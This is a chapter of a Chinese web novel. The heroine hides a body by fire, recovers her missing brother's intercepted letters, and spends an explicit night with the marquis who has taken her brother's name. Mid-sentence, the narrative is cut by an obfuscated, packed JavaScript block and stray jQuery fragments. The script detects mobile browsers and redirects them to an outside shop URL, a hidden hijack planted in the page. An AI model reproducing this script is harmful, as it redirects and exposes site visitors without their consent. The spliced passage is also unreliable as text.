35. 十年空待

作品:《落难侯爷又在打自己的脸

    佘山是个大字不识的猎户,蕙兰便同样不识字,幼时她喜欢满山跑,也没什么学字的兴趣,直到赵深离家前一夜同她说,待他挣了钱,会送回家里,待他出人头地,会回家来接她们。


    蕙兰问他,我舍不得你,怎么办呢?


    赵深又说,他会寄信回来。蕙兰不识字也没有关系,到时可以拿他的钱去叫人念给她听。


    -


    蕙兰趴伏着朝里张望,床下阴暗逼仄,积满了灰尘与蛛网,散乱的信件铺了一地,东一封、西一叠。


    她伸长了手臂,慢慢将那些信收拢,有的是很久以前的,已经发了脆,有的是皱巴巴的,蕙兰只好点亮这儿唯一一盏油灯,借着光小心翼翼将它们抚平,叠到一块,放进袖中。


    蕙兰的视线挪到那具一动不动的尸体上。


    赵承圆睁着双目,脸上还残留着死前的惊恐,鲜血在泥地里洇开一小片黑红,十分碍眼。


    她蹙起眉,神情中浮起些许苦恼的意味,思索片刻,便上前将人往屋里拖,随后转身取过那盏油灯。


    昏黄的火光照亮了蕙兰一半的面容,她抬手一倾,火苗落在赵承破旧的衣衫上,猛地窜了窜,慢慢将他彻底吞噬。


    这间破败的屋子变得明亮而温暖,蕙兰静静地等待着,直到火势铺开,将所有痕迹抹去,才转过身,踏入夜色之中。


    轻罗等在巷外,蕙兰坐上马车,听她问道:“好浓的烟,怎么忽然起了火?”


    蕙兰道:“大约做了什么恶事,引来天火,才烧成这副样子。”


    车轮缓缓转动,驶向来路,长街仍然一派热闹,蕙兰朝外望了一会儿,偏过头,笑着开口:“轻罗在侯府待了很久吗?我看常言也敬你呢。”


    “是的,随母亲一同在侯爷身边侍奉,已十几年了。”


    “我还没有听你提起过母亲。”蕙兰似乎对此感兴趣,“她如今,也在侯府当差吗?”


    轻罗垂下眸子:“早已去世。”


    蕙兰愣了愣,牵住她的手,真心道了歉,她便也笑了。


    “往事已矣,姑娘无心之言,何必内疚。”


    -


    杏树枝桠横斜,夜风拂过,树叶发出簌簌轻响,蕙兰还未走近,看见屋内那道人影,脚步微顿,将信放到树后,拿枯叶遮掩好,才推门而入。


    “今夜不是赴宴去吗?我还以为你要忙到很晚,特意和轻罗在外边逛了好久。”她从后搂住严谌,下巴搁在他肩头蹭了蹭,“早说你回,我就不出门了。”


    他受用得很,肩背都放松了些,喉间溢出一声轻笑,指尖搭在蕙兰的手背,轻轻摩挲,嘴上仍不饶人:“再敢这么晚回来,我便把你锁在这里,半步也不准踏出去。”


    蕙兰的手臂微微一僵,依旧温顺地靠在他肩头,软下嗓子:“锁着做什么,我又不会跑……”


    严谌眉梢轻扬,蕙兰不清楚他肚子里泛起了什么坏水,还未猜到,他从旁一摸,掌上多了条纤细精巧的金链。


    链上坠着数颗小小的宝石与金铃,随着他抬手的动作轻轻晃动,叮铃作响,分外清脆。


    蕙兰与他四目相对,戏谑道:“你戴,还是我戴?”


    “我想看你戴上它。”


    “你知道我不喜欢这些小玩意儿。”她凑到他唇边亲了亲,语调轻而软和,“换你试试,好不好?”


    严谌当即耳根发麻,却顾念着体面,立刻拒绝:“我怎么能戴……”


    蕙兰闻言,眉尖一蹙,眨了眨眼,带着几分似真似假的气恼,冷淡道:“你自己都嫌它下流,不愿戴,非要我戴做什么,成心欺负我吗?”


    他被她这话堵得思绪一滞,乱了分寸,指尖微微发紧,喉结滚了滚,顺着她的意低声妥协:“蕙兰,我如何待你,你最清楚,我并非有意逼你……我戴便是。”


    严谌抬手扯开腰带,又将外袍与中衣一并褪下,肌理分明的胸腹暴露出来,因凉意绷得更紧。


    他原是冷色的白皮,叫屋内灯盏光线映得柔和许多,蕙兰抿了抿唇,勾起笑来,以作鼓舞。


    严谌有些不自在地侧过身,生疏地将那条纤细的金链戴上。


    细金链搭在锁骨上,下边竟是层层叠叠的,大抵有四五层,蕙兰数不清,胸膛服帖地依着链子,红色的宝石位置十分微妙,金铃随着他呼吸轻轻晃动,不住轻响。


    平日里高高在上、刻薄恶毒的人,此刻赤袒地面对她,偏还要强撑着镇定的神色,被床笫之间的玩意儿缠缚着,看着确实下流极了,却令蕙兰觉得恰到好处,甚至险些被他迷惑。


    最初只是想糊弄过去,不愿配合他恶劣的趣味,最终这个结果,其实是意料之外的。


    严谌被她直白的目光盯得耳根发烫,胸前层层金链颤得更急,细碎的铃音一声叠一声。


    他垂在身侧的手慢慢拉住她的衣袖,别扭道:“别这么看着我……”


    蕙兰依言照做,真移开眼神,他又不高兴了:“我这副模样很没意思么,多看一眼都腻味?”


    蕙兰轻笑一声,掌心贴着他起伏的胸膛,指腹擦过贴肤的金链,金子是凉的,但他是热的,触感分明,很有意趣,她指尖掠过层层金链,不紧不慢,像是在描摹他的躯体,每动一下,金铃便轻响一声,叫人浑身战栗。


    “哪里会腻味。”蕙兰轻轻拨弄着链上那颗位置不怎么合适的宝石,“多难得。”


    严谌喉结急促滚动,忽然猛地伸手扣住她的腰,急切地与她相拥,蕙兰的手被挤在二人当中,于是金链陷进了他的皮肉。


    “……我要你看,只准你看。”


    接下来的亲吻似乎顺理成章,严谌近乎凶恶地与她厮磨,满室都是暧昧而凌乱的喘息。


    床帷垂落,铃音不断,越发急促。


    蕙兰倒在锦被上,他仍不肯罢休,她弓起身子,反倒把自己送进他怀里,只得攥紧了那金链,严谌闷哼一声,顺势俯身,再次纠缠起她的唇舌。


    不知过了多久,一切止息,蕙兰眼皮极重,意识昏沉间,察觉到胸口微凉,勉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197088|193962||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    强望去,那条金链不知何时被严谌取了下来,此刻正戴在她的身上,红宝石落在心口,随着呼吸缓慢晃动。


    “不许咬……”


    蕙兰扯断了他几根头发,这回真的气恼不已了。


    -


    日光透进屋内,落在床帷。


    金链放在枕边,蕙兰并未多看,披衣起身,走到院中,杏树旁空无一物。


    她正立在原地,背后忽然传来一道熟悉的声音:


    “姑娘,这是你的么?”


    “是,给我吧。”蕙兰回头,与轻罗对视,面上无喜无悲,“你想告诉他?”


    “不,我不会说。”轻罗含笑望她,递过信去,“姑娘比我想得聪慧许多,知道了真相,却不曾吵闹,实在让我有些意外。”


    蕙兰对轻罗的反应十分不解,但未追问,随意坐下,开始一封一封翻看赵深的信,最旧的一些,是连信封也没有的。


    “赵深这名字,我费了好久才记起。”轻罗坐到她身旁,“头一次听见,是他被买来当侯爷脚踏,却摔了侯爷,被罚去做了马奴。”


    ‘蕙兰,西京很好。二叔很好,我请他替我寄信和钱,他一下都没有推辞。侯府也好,月钱足足有一两银子,你和娘买新被褥,叫他们送到村里,不要累着。’


    ‘蕙兰,我犯了错,去做别的差事了,这个月挣不到一两银子。不过同僚待我很好,教我喂马,我们曾见过马的,侯府的马比起来漂亮许多,大为不同,鬃毛顺滑,亮堂堂的。’


    ‘蕙兰,我如今学会了给马梳毛、打理蹄子。那些马性子虽烈,却肯听我的话。他们说我手稳心细,是个能驯马的好料子。我尽心做,等日后涨了月钱,便给你买一匹温顺的马,再配上车驾,往后想去哪里都可以。’


    ‘……侯爷心善,实在是贵人,他见我看统领操练侍卫,提拔我也去当了侍卫……他教了我些本事,或许我受不住福分,竟不觉得高兴,蕙兰,倘若我说我想回北地,你会气我食言吗?今夜月圆,望你和娘无病无灾,岁岁平安……’


    ‘北地春寒,记得添衣。我已准备请辞,西京虽好,我却觉得,你不会喜欢。’


    ‘侯爷不日要动身前往北地,我请缨跟随,他答应了。蕙兰,我很高兴,待此间事了,我便自请归家,我念着娘,也念着你……’


    “侯爷去往北地时,传来京中的消息是众人路遇山崩,全数丧命,尸骨无存。”


    “究竟是天灾,还是人祸,犹未可知,但,数月之前,他活着从北地回京,便命府中众人改口,唤他赵深。”


    荼蘼花已经凋落,庭院里许多枯叶,每日会有下人清扫,又会掉下更多。


    那些信整齐地放在她膝上,蕙兰垂着头,长发披散,双手交错,遮掩眉眼,水珠顺着颌下坠落,接连不断。


    从靖告诉她,赵承这些年嗜赌如命,欠了许多钱。


    赵深遥寄北地的心意,被他京中唯一的亲人截下,停滞十年。


    十年杳无音讯,十年空待。